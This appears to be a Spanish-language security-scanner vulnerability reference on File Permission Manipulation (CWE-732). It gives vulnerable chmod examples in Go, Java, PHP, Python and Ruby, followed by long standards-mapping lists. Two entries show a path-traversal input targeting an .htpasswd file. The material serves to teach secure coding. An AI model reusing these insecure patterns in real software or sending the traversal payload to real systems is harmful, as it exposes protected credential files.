122 elementos encontrados
Debilidades
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante podría acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: El siguiente código utiliza la entrada de las variables de entorno del sistema para establecer los permisos de archivo. Si los atacantes pueden modificar las variables de entorno del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a Path Manipulation, un atacante puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: el siguiente código utiliza la entrada desde las propiedades del sistema para establecer la máscara de permisos predeterminada. Si los atacantes pueden modificar las propiedades del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de manipulación de permisos de archivo cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo: el siguiente código se ha diseñado para establecer los permisos de archivo adecuados para los usuarios que cargan las páginas web a través de FTP. Utiliza la entrada de una solicitud HTTP para marcar un archivo como visible para los usuarios externos.


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


Sin embargo, si un usuario malintencionado proporciona un valor malicioso para publicReport como, por ejemplo, "../../localuser/public_html/.htpasswd", la aplicación hará que el archivo especificado sea legible para el usuario malintencionado.

Ejemplo 2: el siguiente código utiliza la entrada desde un archivo de configuración para establecer la máscara de permisos predeterminada. Si los usuarios malintencionados pueden modificar el archivo de configuración, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: El siguiente código utiliza la entrada de las variables de entorno del sistema para establecer los permisos de archivo. Si los atacantes pueden modificar las variables de entorno del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a Path Manipulation, un atacante puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de manipulación de permisos de archivo cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo: el siguiente código se ha diseñado para establecer los permisos de archivo adecuados para los usuarios que cargan las páginas web a través de FTP. Utiliza la entrada de una solicitud HTTP para marcar un archivo como visible para los usuarios externos.


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


Sin embargo, si un usuario malintencionado proporciona un valor malicioso para publicReport como, por ejemplo, "../../localuser/public_html/.htpasswd", la aplicación hará que el archivo especificado sea legible para el usuario malintencionado.

Ejemplo 2: el siguiente código utiliza la entrada desde un archivo de configuración para establecer la máscara de permisos predeterminada. Si los atacantes pueden modificar el archivo de configuración, podrían utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
